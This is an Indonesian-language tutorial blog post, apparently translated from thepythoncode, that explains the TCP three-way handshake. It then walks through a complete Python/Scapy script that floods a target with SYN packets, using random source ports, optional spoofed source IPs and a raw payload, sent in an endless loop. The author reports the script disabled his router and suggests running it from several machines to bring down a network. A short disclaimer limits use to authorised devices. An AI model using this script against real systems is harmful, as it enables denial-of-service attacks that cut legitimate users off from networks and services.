PYTHON

Cara Membuat Serangan Banjir SYN dengan Python

Pendahuluan

Saya membuat artikel ini bertujuan untuk pembelajaran dan hal pentest untuk uji kerentanan sistem. Sesuai judul artikel cara membuat serangan banjir SYN dengan python. Serangan banjir SYN atau dalam bahasa inggris syn flooding attack adalah bentuk umum dari serangan penolakan layanan di mana penyerang mengirimkan urutan permintaan SYN ke sistem target (bisa berupa router, firewall, Sistem Pencegahan Intrusi (IPS), dll.) untuk mengkonsumsi sumber dayanya, mencegah klien yang sah untuk membuat koneksi normal.

TCP SYN flood mengeksploitasi bagian pertama dari jabat tangan tiga arah TCP, dan karena setiap koneksi yang menggunakan protokol TCP memerlukannya, serangan ini terbukti berbahaya dan dapat melumpuhkan beberapa komponen jaringan. Untuk memahami banjir SYN, pertama-tama kita perlu berbicara tentang jabat tangan tiga arah TCP:

Ketika klien ingin membuat koneksi ke server melalui protokol TCP, klien dan server bertukar serangkaian pesan:

  • Klien meminta koneksi dengan mengirimkan pesan SYN ke server
  • Server merespons dengan pesan SYN-ACK (mengakui permintaan)
  • Klien merespons kembali dengan ACK, dan kemudian koneksi dimulai

Serangan banjir SYN melibatkan pengguna jahat yang mengirimkan paket SYN berulang kali tanpa merespons dengan ACK, dan seringkali dengan port sumber yang berbeda, yang membuat server tidak menyadari serangan tersebut, dan merespons setiap upaya dengan paket SYN-ACK dari setiap port (Warna merah dan bagian hijau dari gambar di atas). Dengan cara ini, server akan dengan cepat menjadi tidak responsif terhadap klien yang sah.


Install Library Scapy

Dalam tutorial ini, kita akan mengimplementasikan SYN flood attack menggunakan Scapy library dengan Python. Untuk memulai, Anda perlu menginstal Scapy:

pip install scapy

Buka file Python baru dan impor Scapy:

from scapy.all import *

Saya akan menguji ini di router lokal saya, yang memiliki alamat IP pribadi 192.168.1.1:

# alamat IP target (harus menjadi router/firewall pengujian)
target_ip = "192.168.1.1"
# pelabuhan target yang ingin kamu banjiri
target_port = 80

Jika Anda ingin mencoba ini terhadap router Anda, pastikan Anda memiliki alamat IP yang benar, Anda bisa mendapatkan alamat gateway default melalui perintah ipconfig dan ip route di Windows dan macOS/Linux masing-masing. port target adalah HTTP, karena saya ingin membanjiri antarmuka web router saya. Sekarang mari kita tempa paket SYN kita, dimulai dengan lapisan IP:

# memalsukan paket IP dengan ip target sebagai alamat IP tujuan
ip = IP(dst=target_ip)
# atau jika Anda ingin melakukan IP Spoofing (akan berfungsi juga)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Saya menentukan dst sebagai alamat IP target, saya juga dapat mengatur alamat src ke alamat IP acak palsu dalam rentang jaringan pribadi (kode komentar) dan itu akan berfungsi dengan baik.

Mari kita tempa lapisan TCP kita:

# menempa paket TCP SYN dengan port sumber acak
# dan port target sebagai port tujuan
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Jadi saya menyetel port sumber (sport) ke short acak (yang berkisar dari 1 hingga 65535, sama seperti port) dan dport (port tujuan) sebagai port target saya, dalam hal ini adalah layanan HTTP. Saya juga mengatur flag ke "S" yang menunjukkan tipe SYN. Sekarang mari tambahkan beberapa data mentah yang membanjiri untuk menempati jaringan:

# tambahkan beberapa data banjir (1KB dalam hal ini)
raw = Raw(b"X"*1024)

Luar biasa, sekarang mari kita susun layer dan kirim paketnya:

# susun lapisannya
p = ip / tcp / raw
# kirim paket yang dibuat dalam satu lingkaran hingga CTRL+C terdeteksi
send(p, loop=1, verbose=0)

Jadi saya menggunakan fungsi send() yang mengirim paket pada layer 3, saya mengatur loop ke 1 untuk terus mengirim sampai saya menekan CTRL+C, pengaturan verbose ke 0 tidak akan mencetak apa pun selama proses (diam).

Skripnya sudah jadi! Sekarang setelah saya menjalankan ini terhadap router saya, butuh beberapa detik dan tentu saja, router berhenti bekerja dan saya kehilangan koneksi:

Ini adalah output dari perintah berikut di Windows:

ping -t "192.168.1.1"

Itu ditangkap dari komputer lain selain penyerang, sehingga router tidak lagi merespons. Untuk mengembalikan semuanya menjadi normal, Anda dapat menghentikan serangan (dengan menekan CTRL+C), jika perangkat masih tidak merespons, lanjutkan dan reboot.

Baik! kita sudah selesai dengan tutorialnya, jika Anda mencoba menjalankan skrip pada komputer lokal, Anda akan melihat komputer menjadi sibuk dan latensi akan meningkat secara signifikan. Anda juga dapat menjalankan skrip di beberapa terminal atau bahkan mesin lain, lihat apakah Anda dapat mematikan jaringan komputer lokal Anda! semoga bermanfaat :D

Disclaimer

Tolong jangan gunakan ini pada perangkat yang tidak Anda miliki atau tidak memiliki izin, saya tidak bertanggung jawab, tutorial ini hanya untuk tujuan pendidikan.

Sumber asli : thepythoncode